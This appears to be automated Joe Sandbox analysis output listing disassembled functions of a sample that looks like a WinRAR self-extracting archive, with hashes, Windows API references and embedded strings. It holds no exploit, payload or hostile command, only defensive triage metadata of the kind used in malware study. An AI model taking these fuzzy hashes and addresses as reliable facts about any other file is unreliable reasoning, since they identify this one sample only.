Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 75bc8b6b70552213c492e2b4d537d895552732abb840669c88296365ff73b3bd
Instruction ID: 6c42760447328eded6fa2915b8ceacc8aa1b76288a70958723b7bbe8f9fa3a98
Opcode Fuzzy Hash: 75bc8b6b70552213c492e2b4d537d895552732abb840669c88296365ff73b3bd
Instruction Fuzzy Hash: 0D41C232714E5486EE48DF2AD4542A9B3A1AB58FD4B5DB036EE0DC7755DE3DD042C340

Function 00007FF6063B41B0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF6063B41B4

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: be7ed4402fc1a38c1953c688923f2ad906cda00ccdf3b5d5fa14c8939cdf2fd3
Instruction ID: 86e42274cc8a3459ed8e4af62a460fe84f528ebeac84102a9b537bac1492b099
Opcode Fuzzy Hash: be7ed4402fc1a38c1953c688923f2ad906cda00ccdf3b5d5fa14c8939cdf2fd3
Instruction Fuzzy Hash: C0B09224E07A06CAEA0E2B116C8221862A87F48700FA4A038C10E81360EE2D24A68B50

Function 00007FF60638BF0C Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd28e31d7d5d8dacbc8c1e36a10d9298773be20ef7319678f464fee92af96a22
Instruction ID: 9cd11c45e9e6f437e40e44e7fa6ad70da74bfe141e54cc5860b9d76a5fd5aafc
Opcode Fuzzy Hash: cd28e31d7d5d8dacbc8c1e36a10d9298773be20ef7319678f464fee92af96a22
Instruction Fuzzy Hash: AB2204B3B206508BD728CF25C89AE5E3766F798744B4B9228DF0ACB785DB39D505CB40

Function 00007FF60638B318 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c4f15c2075db455a8805df7f1b959bd99bc7369c78054583d6a965d91bd105
Instruction ID: 0a6f3e276815bf45e871cf9a7ed47fac66261108587d94cece53a8cfb271d709
Opcode Fuzzy Hash: c6c4f15c2075db455a8805df7f1b959bd99bc7369c78054583d6a965d91bd105
Instruction Fuzzy Hash: 27D1AC72A182D14EE312CB79A4144FEBFB5E71D34DB898261DFD69370AC52EE102DB60

Function 00007FF60638B948 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9782f85efb0ae2e1c0b67e86eaa04f67255253bd9529923cb00556c4c2cc06da
Instruction ID: cee01f8a48c5c2f4611e8bb3670358f91ab5c4b14674bb5bcb8a557c4f95061a
Opcode Fuzzy Hash: 9782f85efb0ae2e1c0b67e86eaa04f67255253bd9529923cb00556c4c2cc06da
Instruction Fuzzy Hash: 3F613722B182D24DEB02CF7585404FDBFA1EB197847559032DE9BD364ACE7EE106CB90

Function 00007FF6063B8DF0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925daada8ef65e2677460b522fd56a987e460062fe4befbd33bf430193fcb847
Instruction ID: d396a16ea13d35dc6df8d3a0367c13d729b61ae9bbd4b122f09f959b2c208b7b
Opcode Fuzzy Hash: 925daada8ef65e2677460b522fd56a987e460062fe4befbd33bf430193fcb847
Instruction Fuzzy Hash: 7AF09671B286958BDBA9CF2DA84262977D0F7083C0F909039E68DC3B44DF3D94618F54

Function 00007FF6063A6B24 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 915a11522949b389e451a5ed0c02c5f26bdaa58b853bb1385cc96cba591218a7
Instruction ID: d67e3526b6def376074c77ccda5fb8cc09aea2f686ac96260a3f6e20d326eb36
Opcode Fuzzy Hash: 915a11522949b389e451a5ed0c02c5f26bdaa58b853bb1385cc96cba591218a7
Instruction Fuzzy Hash: A7A0023590CD12D2EA4C8B01EC65130A330FF61700BA43131E55EC10A1DF3EA440D380

Function 00007FF6063A61E0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF6063A61F6
GetModuleHandleW.KERNEL32 ref: 00007FF6063A6203
GetModuleHandleW.KERNEL32 ref: 00007FF6063A6218
GetProcAddress.KERNEL32 ref: 00007FF6063A6230
GetProcAddress.KERNEL32 ref: 00007FF6063A6243
CreateEventW.KERNEL32 ref: 00007FF6063A626F
DeleteCriticalSection.KERNEL32 ref: 00007FF6063A62BB
CloseHandle.KERNEL32 ref: 00007FF6063A62CD

Strings

WakeAllConditionVariable, xrefs: 00007FF6063A6236
SleepConditionVariableCS, xrefs: 00007FF6063A6226
kernel32.dll, xrefs: 00007FF6063A6211
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF6063A61FC

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 029695a6267facf631d40e22352065ea960f1d0c33bf652913798791beb6e733
Instruction ID: fc84f248f244fc59010b904f1c21c1056224f81ad32c6f8d3a9024e34fdc09e6
Opcode Fuzzy Hash: 029695a6267facf631d40e22352065ea960f1d0c33bf652913798791beb6e733
Instruction Fuzzy Hash: C9212A30E0DA0782FE5E9F21ED5627562A0AF55B40F6C3435DA1F826A0EF2EA4459390

Function 00007FF60639DF84 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6063812BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063813B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639E273
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639E279
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639E27F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639E285
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639E28B
EndDialog.USER32 ref: 00007FF60639E30A

Strings

Software\WinRAR SFX, xrefs: 00007FF60639E06F, 00007FF60639E07E
GETPASSWORD1, xrefs: 00007FF60639E2C3

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: a5c1420563de154322e58b961742644a218078f87695e0f8e231236245ab560e
Instruction ID: 91a012297239e2cbf06cc6f9095e10f541c8ac5c9f32cdca5fe59e574ce0c5ab
Opcode Fuzzy Hash: a5c1420563de154322e58b961742644a218078f87695e0f8e231236245ab560e
Instruction Fuzzy Hash: B2B1C262F18B4285FF04DB64D4842AC2362EF85398F206235DE5DA6AD9DF3EE545C390

Function 00007FF60639AB10 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF60639BB2B), ref: 00007FF60639AD10
CreateStreamOnHGlobal.COMBASE ref: 00007FF60639AD41
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639AE0B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639AE11
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639AE17

Strings

</html>, xrefs: 00007FF60639AC02, 00007FF60639AC11
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF60639ABBC, 00007FF60639ABCB
<html>, xrefs: 00007FF60639ABA3
<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF60639AB65, 00007FF60639AB74

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Global$AllocCreateStream
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2868844859-1533471033
Opcode ID: f0895581c817e55a58f121f9c0f6f66dd55f3ddbc4a2fb8a2d625ca181ef1552
Instruction ID: ae148a20c4138b59ff4c81f7726bf0b6dd131132fc5e85fb677d7fadedfa54aa
Opcode Fuzzy Hash: f0895581c817e55a58f121f9c0f6f66dd55f3ddbc4a2fb8a2d625ca181ef1552
Instruction Fuzzy Hash: E3819C62F18A4285FB18DBA5D4402ED3371EF44798F602236DE1D97A9AEF3ED506C390

Function 00007FF6063B1B60 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B1CDD

Strings

inf, xrefs: 00007FF6063B1BE6
NAN(SNAN), xrefs: 00007FF6063B1BF5
INF, xrefs: 00007FF6063B1BD3
nan(snan), xrefs: 00007FF6063B1C00
NAN(IND), xrefs: 00007FF6063B1C0B
NAN, xrefs: 00007FF6063B1BC1
nan(ind), xrefs: 00007FF6063B1C16
nan, xrefs: 00007FF6063B1BC8

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 7e5ce1446c841e33a66cfbd311af876c7b34449f0d6954941b6492f47989c701
Instruction ID: 42a9f51f7664471acf7615530d53413b963c8bb939e2987c5bfef3c64d5bad74
Opcode Fuzzy Hash: 7e5ce1446c841e33a66cfbd311af876c7b34449f0d6954941b6492f47989c701
Instruction Fuzzy Hash: 8A417C32A09F4589EB08CB25E8517AD37A4EB14798F64653AEF5C87B54DE3ED025C380

Function 00007FF6063A2EE0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF6063A2F1F
GetClassNameW.USER32 ref: 00007FF6063A2F4C
GetWindowLongPtrW.USER32 ref: 00007FF6063A2F6D
SendMessageW.USER32 ref: 00007FF6063A2F87
GetObjectW.GDI32 ref: 00007FF6063A2FA2
SendMessageW.USER32 ref: 00007FF6063A2FD7
DeleteObject.GDI32 ref: 00007FF6063A2FE0
GetWindow.USER32 ref: 00007FF6063A2FEE

Strings

STATIC, xrefs: 00007FF6063A2F52

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Window$MessageObjectSend$ClassDeleteLongName
String ID: STATIC
API String ID: 2845197485-1882779555
Opcode ID: a56abbe028ef3f0b7d15def6da20f662c50af87d749574eaec9b76d17f79dad6
Instruction ID: 474d96cadb4d1963eabbdc5afb4ef8595444df5aa963990e26a4fe355ce619c3
Opcode Fuzzy Hash: a56abbe028ef3f0b7d15def6da20f662c50af87d749574eaec9b76d17f79dad6
Instruction Fuzzy Hash: A931D435B0964246FB28DB11E8107BA6391FF89BC4F642034DD4E87795DF3EE9068B90

Function 00007FF6063880B0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 444COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638874A

Part of subcall function 00007FF606381BD4: std::_Xinvalid_argument.LIBCPMT ref: 00007FF606381BDF

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606388756
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638875C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606388768
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638877A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606388780

Strings

UNC, xrefs: 00007FF606388263
\\?\, xrefs: 00007FF6063880FB, 00007FF60638810A

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: UNC$\\?\
API String ID: 4097890229-253988292
Opcode ID: 627c07d53eccfe150ff9c499ac3b11f54613392915993c7d05f5251deab33fae
Instruction ID: 01d9af969c234112acc12429d13104d5b1424fc0eeed23068c00a74257392ddd
Opcode Fuzzy Hash: 627c07d53eccfe150ff9c499ac3b11f54613392915993c7d05f5251deab33fae
Instruction Fuzzy Hash: 1C12DF22B19B4288EF18CB64D4401ED6371EB81B98FA06231DA5DC7BE9DFBED545C380

Function 00007FF60639E9E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF60639E9FE

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ItemTextWindow
String ID: LICENSEDLG
API String ID: 2478532303-2177901306
Opcode ID: 413809c6c529f907a05a51e37b96b30026af9f7a13d4bd8aebdb5ec3f6628f42
Instruction ID: 74f266885b2afbfca42d19ba5658e85ef89387053fe7df0d1bd3d682bc2fcb5d
Opcode Fuzzy Hash: 413809c6c529f907a05a51e37b96b30026af9f7a13d4bd8aebdb5ec3f6628f42
Instruction Fuzzy Hash: 66419F25A0CA5282FB1CCB51E84477923A0FF84B94F246135D90E87BA4DF7EAA458B90

Function 00007FF60638BD30 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF60638BE46

Part of subcall function 00007FF60638DC4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF60638DCA3

GetProcAddress.KERNEL32 ref: 00007FF60638BD8E
GetProcAddress.KERNEL32 ref: 00007FF60638BDA9

Strings

CryptUnprotectMemory, xrefs: 00007FF60638BD9B
Crypt32.dll, xrefs: 00007FF60638BD6C
CryptProtectMemory, xrefs: 00007FF60638BD84
CryptProtectMemory failed, xrefs: 00007FF60638BDFC
CryptUnprotectMemory failed, xrefs: 00007FF60638BE3D

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: df634e7e6220f0fab9136f3d9598b6958fd483239d44fb29bf155b66aa12a787
Instruction ID: a8378b6c08bab478aa030a3026926a06edd1dd9b671d123bf4cdf35744d67ea7
Opcode Fuzzy Hash: df634e7e6220f0fab9136f3d9598b6958fd483239d44fb29bf155b66aa12a787
Instruction Fuzzy Hash: 2C315720E09B4389FA1C8F12B8901B5A7A0EF45B90F657135DA5FC37A4EEBEE445C380

Function 00007FF60639C414 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639C9F2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639C9FE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639CA0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639CA16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60639CA1C

Strings

, xrefs: 00007FF60639C691
, xrefs: 00007FF60639C4FA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: c8965c4f87891568c389f61817c83666d92bf9a7bc58ebf4ca93cead553343d7
Instruction ID: 633f620d545be929e557ecdb0967f28af1d14a30ff097edc66f289c595373443
Opcode Fuzzy Hash: c8965c4f87891568c389f61817c83666d92bf9a7bc58ebf4ca93cead553343d7
Instruction Fuzzy Hash: D9F1F062F18B4280EE089B65D0441BD6362EB45BACF607631CA5D937E9DF7EE580C7E0

Function 00007FF6063A8D7C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6063A8F1A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6063A923D
abort.LIBCMT ref: 00007FF6063A9271

Strings

csm, xrefs: 00007FF6063A8F41
csm, xrefs: 00007FF6063A8EC3
csm, xrefs: 00007FF6063A8E61

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 7ce8224d02cbc9d10e697210102f736983d510ff4da2607681883173542701a8
Instruction ID: 63a8d0ab4fbd1b73de9a247767f3815f2ec623da6403dede21c0d020d096aa28
